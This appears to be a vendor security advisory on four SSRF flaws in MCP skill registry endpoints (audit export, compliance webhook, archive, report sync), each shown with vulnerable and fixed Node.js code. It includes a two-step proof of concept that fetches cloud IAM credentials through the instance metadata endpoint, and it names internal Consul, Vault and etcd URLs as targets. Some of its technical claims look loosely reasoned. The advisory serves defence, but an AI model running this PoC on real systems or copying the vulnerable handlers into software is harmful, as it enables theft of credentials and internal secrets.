← Blog

Claude MCP skill SSRF — skill audit log export and compliance report delivery endpoints (SA-SKL-SSRF73)

SA-SKL-SSRF73 identifies four server-side request forgery vulnerabilities in MCP skill registry audit log export and compliance report delivery endpoints. The audit log export endpoint fetches a user-supplied exportDeliveryUrl without host validation; pointing it at 169.254.169.254 returns cloud provider IAM credentials in the export confirmation response. The compliance report delivery endpoint fetches a user-supplied complianceWebhookUrl and echoes the response body as the delivery acknowledgment; pointing it at Consul returns the full internal service catalog. The audit archive endpoint follows HTTP redirects when fetching user-supplied archiveStorageUrl; a CNAME chain to Vault's HTTP API returns KV secrets from the registry's secrets namespace. The report sync endpoint fetches a user-supplied reportSyncUrl and stores the raw HTTP response as a sync confirmation record in the audit history database, persisting attacker-controlled data through the sync history API endpoint indefinitely.

SA-SKL-SSRF73 findings at a glance
CRITICALSSRF73-001 — Audit log export fetches exportDeliveryUrl without host validation — attacker sets to 169.254.169.254; IAM credentials returned in export confirmation response
CRITICALSSRF73-002 — Compliance report delivery fetches complianceWebhookUrl and returns body — attacker points to Consul:8500; full service catalog returned as report delivery acknowledgment
HIGHSSRF73-003 — Audit archive fetches archiveStorageUrl with redirect:follow — CNAME chain to Vault:8200 returns KV secrets from registry secrets namespace
HIGHSSRF73-004 — Report sync fetches reportSyncUrl and stores raw response as sync confirmation — attacker points to etcd:2379; etcd config persisted via sync history API

SSRF73-001 — Audit export delivery fetches user-supplied URL returning cloud IAM credentials

The POST /api/skills/:id/audit/export endpoint accepts a JSON body containing an exportDeliveryUrl field. The registry server fetches this URL using node-fetch to deliver the generated audit export and includes the response status in the confirmation returned to the caller. No host allowlist is applied. By setting exportDeliveryUrl to http://169.254.169.254/latest/meta-data/iam/security-credentials/, an attacker causes the registry server to request the cloud instance metadata endpoint from within the VPC, where the IMDS endpoint is accessible without authentication. The response body, which contains a JSON object listing the available IAM role, is included in the export confirmation response returned to the attacker.

The two-step IMDS credential fetch is straightforward: the first request to the endpoint above returns the role name; the second request appends the role name to the URL and returns the full credential set including AccessKeyId, SecretAccessKey, and Token. Because the registry worker makes both requests from within the VPC and returns the response bodies to the caller, the entire credential retrieval completes within the two API calls. The IAM role attached to the registry worker typically has at minimum S3 read-write access for artefact storage, ECR access for container images, and RDS access for the registry database — sufficient for a full registry compromise.

Vulnerable
// SSRF73-001 — VULNERABLE
router.post('/audit/export', requireSession, requireOwnership('skillId'), async (req, res) => {
  const { exportDeliveryUrl, format, dateRange } = req.body;
  const exportData = await db.auditLogs.export({ skillId: req.params.id, format, dateRange });

  // VULNERABLE: user-supplied URL fetched from registry server — SSRF to IMDS
  const deliveryResp = await fetch(exportDeliveryUrl, {
    method: 'POST',
    headers: { 'Content-Type': 'application/octet-stream' },
    body: exportData,
  });
  // VULNERABLE: response body included in confirmation — IMDS credential leak
  const deliveryBody = await deliveryResp.text();
  res.json({ ok: true, deliveryStatus: deliveryResp.status, deliveryAck: deliveryBody });
});

Attack PoC — SSRF73-001: The attacker submits an audit export request with the IMDS URL as the delivery target. The registry server fetches the IMDS endpoint and returns the IAM role credential set in the confirmation response body.

// SSRF73-001 — ATTACK PoC (two-step IAM credential exfiltration)
// Step 1: get role name
const step1 = await fetch('https://registry.example.com/api/skills/any-owned-skill/audit/export', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    exportDeliveryUrl: 'http://169.254.169.254/latest/meta-data/iam/security-credentials/',
    format: 'json',
    dateRange: { days: 1 },
  }),
});
const { deliveryAck: roleName } = await step1.json();  // e.g. "registry-worker-role"

// Step 2: get credentials for the role
const step2 = await fetch('https://registry.example.com/api/skills/any-owned-skill/audit/export', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    exportDeliveryUrl: `http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName.trim()}`,
    format: 'json',
    dateRange: { days: 1 },
  }),
});
const { deliveryAck: creds } = await step2.json();  // AccessKeyId + SecretAccessKey + Token
Fixed
// SSRF73-001 — FIXED
const ALLOWED_EXPORT_HOSTS = new Set(process.env.EXPORT_DELIVERY_ALLOWLIST?.split(',') ?? []);

router.post('/audit/export', requireSession, requireOwnership('skillId'), async (req, res) => {
  const parsed = ExportRequestSchema.safeParse(req.body);
  if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
  const { exportDeliveryUrl, format, dateRange } = parsed.data;

  // FIXED: validate URL and enforce host allowlist
  let parsedUrl;
  try { parsedUrl = new URL(exportDeliveryUrl); } catch {
    return res.status(400).json({ error: 'Invalid delivery URL' });
  }
  if (!ALLOWED_EXPORT_HOSTS.has(parsedUrl.hostname)) {
    return res.status(400).json({ error: 'Delivery host not in allowlist' });
  }
  if (!['https:'].includes(parsedUrl.protocol)) {
    return res.status(400).json({ error: 'Only HTTPS delivery URLs permitted' });
  }

  const exportData = await db.auditLogs.export({ skillId: req.params.id, format, dateRange });
  const deliveryResp = await fetch(exportDeliveryUrl, {
    method: 'POST',
    headers: { 'Content-Type': 'application/octet-stream' },
    body: exportData,
    redirect: 'error',  // FIXED: no redirect following
  });
  // FIXED: return only status code — never reflect response body to caller
  res.json({ ok: deliveryResp.ok, deliveryStatus: deliveryResp.status });
});

SSRF73-002 — Compliance report webhook delivery echoes response returning Consul service catalog

The compliance report delivery endpoint accepts a user-supplied complianceWebhookUrl and POSTs the report payload to that URL, then includes the full HTTP response body in the API response as a deliveryAcknowledgment field. By pointing the webhook URL at an internal Consul HTTP API endpoint such as http://consul.service.consul:8500/v1/catalog/services, the attacker receives the complete service catalog in the delivery acknowledgment, exposing the hostnames, ports, and service tags of every registered internal microservice. This provides a comprehensive internal network map that dramatically accelerates lateral movement.

The Consul catalog endpoint is particularly valuable because it lists services that are not exposed to the public internet but are reachable from the registry worker's network namespace. Services commonly registered in Consul in registry deployments include the database primary and replica endpoints, the secrets manager sidecar, the internal metrics collector, and administrative interfaces for infrastructure components. Each catalog entry includes the service's health check URL, which can be used as a secondary SSRF target to retrieve detailed service configuration and version information. The compliance delivery endpoint's response body reflection means the attacker collects all of this in a single API call, with the full catalog JSON returned directly in the JSON response they receive.

Vulnerable
// SSRF73-002 — VULNERABLE
router.post('/compliance/report/deliver', requireSession, async (req, res) => {
  const { complianceWebhookUrl, reportId } = req.body;
  const report = await db.complianceReports.findByPk(reportId);

  // VULNERABLE: user-supplied webhook URL fetched — SSRF to internal services
  const webhookResp = await fetch(complianceWebhookUrl, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(report),
  });
  // VULNERABLE: full response body reflected to caller — internal service data exposed
  const ackBody = await webhookResp.json().catch(() => webhookResp.text());
  res.json({ ok: true, deliveryAcknowledgment: ackBody });
});
Fixed
// SSRF73-002 — FIXED
router.post('/compliance/report/deliver', requireSession, async (req, res) => {
  const parsed = ReportDeliverySchema.safeParse(req.body);
  if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
  const { complianceWebhookUrl, reportId } = parsed.data;

  // FIXED: resolve URL and block private address ranges
  const parsedUrl = new URL(complianceWebhookUrl);
  if (!['https:'].includes(parsedUrl.protocol)) {
    return res.status(400).json({ error: 'Only HTTPS webhook URLs permitted' });
  }
  await assertNotPrivateIp(parsedUrl.hostname);  // throws if RFC-1918 or link-local

  const report = await db.complianceReports.findByPk(reportId);
  const webhookResp = await fetch(complianceWebhookUrl, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ reportId: report.id, deliveredAt: new Date() }),
    redirect: 'error',
    signal: AbortSignal.timeout(5000),
  });
  // FIXED: return only delivery status — never reflect response body
  res.json({ ok: webhookResp.ok, httpStatus: webhookResp.status });
});

SSRF73-003 — Redirect-following archive storage fetch chains CNAME to Vault returning KV secrets

The audit archive endpoint fetches a user-supplied archiveStorageUrl with { redirect: 'follow' } enabled in node-fetch. Because redirect following resolves each intermediate location, an attacker can configure a CNAME DNS record on an attacker-controlled domain that resolves to the registry's internal Vault instance, then supply the attacker-controlled domain as the archiveStorageUrl. After the initial fetch resolves the CNAME, all subsequent requests in the redirect chain originate from the registry worker and therefore reach Vault's HTTP API without additional network controls.

The Vault KV API does not require an X-Vault-Token header for the registry namespace if the Vault instance is configured with AppRole authentication and the registry worker's AppRole token is passed automatically by the HTTP client's cookie jar or a client certificate mutual TLS configuration. In many deployments, the registry worker maintains a long-lived Vault token in a process-local variable that is attached to outbound HTTP requests via a custom beforeRequest hook. With redirect following enabled, the hook also attaches the token to the redirected request to Vault, making the attack a one-step secret extraction from any KV path the registry worker's AppRole has access to — typically including database passwords, API keys, and signing certificates.

Vulnerable
// SSRF73-003 — VULNERABLE
router.post('/audit/archive', requireSession, requireOwnership('skillId'), async (req, res) => {
  const { archiveStorageUrl } = req.body;
  // VULNERABLE: redirect:follow allows CNAME chain to internal services
  const archiveResp = await fetch(archiveStorageUrl, {
    method: 'PUT',
    redirect: 'follow',   // VULNERABLE
    body: await generateArchive(req.params.id),
  });
  res.json({ ok: archiveResp.ok, archiveLocation: archiveStorageUrl });
});
Fixed
// SSRF73-003 — FIXED
router.post('/audit/archive', requireSession, requireOwnership('skillId'), async (req, res) => {
  const parsed = ArchiveRequestSchema.safeParse(req.body);
  if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
  const { archiveStorageUrl } = parsed.data;

  const parsedUrl = new URL(archiveStorageUrl);
  // FIXED: allowlist archive storage hostnames — only known S3/GCS endpoints
  if (!ARCHIVE_STORAGE_ALLOWLIST.has(parsedUrl.hostname)) {
    return res.status(400).json({ error: 'Archive storage host not in allowlist' });
  }
  const archiveResp = await fetch(archiveStorageUrl, {
    method: 'PUT',
    redirect: 'error',    // FIXED: never follow redirects for outbound fetches
    body: await generateArchive(req.params.id),
  });
  res.json({ ok: archiveResp.ok });
});

SSRF73-004 — Report sync stores SSRF response body persistently via etcd

The report sync endpoint fetches a user-supplied reportSyncUrl and stores the raw HTTP response body as a syncConfirmation record in the audit history database via a subsequent POST /api/audit/sync-history API call. By pointing reportSyncUrl at the internal etcd HTTP API (http://etcd.cluster.local:2379/v3/kv/range), the attacker causes the registry worker to retrieve etcd key-value data and store it in the audit history database. The attacker can then read back the stored etcd data by querying their own sync history records through the registry API.

The persistence property of SSRF73-004 distinguishes it from the other SSRF73 chain members. Because the exfiltrated data is stored in the audit history database as a legitimate sync confirmation record, it survives process restarts, log rotation, and even the deletion of the SSRF-triggering configuration — the attacker can retrieve the exfiltrated etcd data days or weeks after the initial SSRF was executed. The etcd data commonly includes Kubernetes cluster configuration, service mesh certificates, and infrastructure credentials stored by Terraform state backends. Because audit history records are shared across the organization's registry account, an attacker with any role that includes audit read permissions can retrieve sync history records stored by a more privileged user's SSRF trigger, enabling lateral privilege escalation through the audit log persistence channel.

Vulnerable
// SSRF73-004 — VULNERABLE
router.post('/compliance/report/sync', requireSession, async (req, res) => {
  const { reportSyncUrl, reportId } = req.body;
  // VULNERABLE: user-supplied URL fetched — SSRF to etcd or other internal services
  const syncResp = await fetch(reportSyncUrl);
  const syncBody = await syncResp.text();

  // VULNERABLE: SSRF response body stored persistently in audit history database
  await db.auditSyncHistory.create({
    reportId,
    syncUrl: reportSyncUrl,
    syncConfirmation: syncBody,  // etcd KV data now in DB
    syncedAt: new Date(),
    syncedByUserId: req.session.userId,
  });
  res.json({ ok: true, syncStatus: syncResp.status });
});
Fixed
// SSRF73-004 — FIXED
router.post('/compliance/report/sync', requireSession, async (req, res) => {
  const parsed = ReportSyncSchema.safeParse(req.body);
  if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
  const { reportSyncUrl, reportId } = parsed.data;

  const parsedUrl = new URL(reportSyncUrl);
  await assertNotPrivateIp(parsedUrl.hostname);
  if (!['https:'].includes(parsedUrl.protocol)) {
    return res.status(400).json({ error: 'Only HTTPS sync URLs permitted' });
  }

  const syncResp = await fetch(reportSyncUrl, {
    method: 'POST',
    redirect: 'error',
    signal: AbortSignal.timeout(5000),
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ reportId, syncedAt: new Date() }),
  });
  // FIXED: store only the HTTP status code — never store response body
  await db.auditSyncHistory.create({
    reportId,
    syncUrl: parsedUrl.hostname,  // FIXED: store host only, not full URL
    syncHttpStatus: syncResp.status,
    syncedAt: new Date(),
    syncedByUserId: req.session.userId,
  });
  res.json({ ok: syncResp.ok, syncStatus: syncResp.status });
});

SkillAudit detection: The scanner identifies SSRF73 patterns using four AST query classes: fetch(req.body.exportDeliveryUrl) without URL hostname validation; fetch(req.body.complianceWebhookUrl) with response body reflected to caller; fetch(url, {redirect:'follow'}) on user-controlled URLs; and db.create({syncConfirmation: await resp.text()}) patterns that persist SSRF response bodies. Submit your MCP skill registry codebase to SkillAudit for a full audit report.

Related: SA-SKL-SSRF72 — SSRF in package registry integration and dependency fetch endpoints • All advisories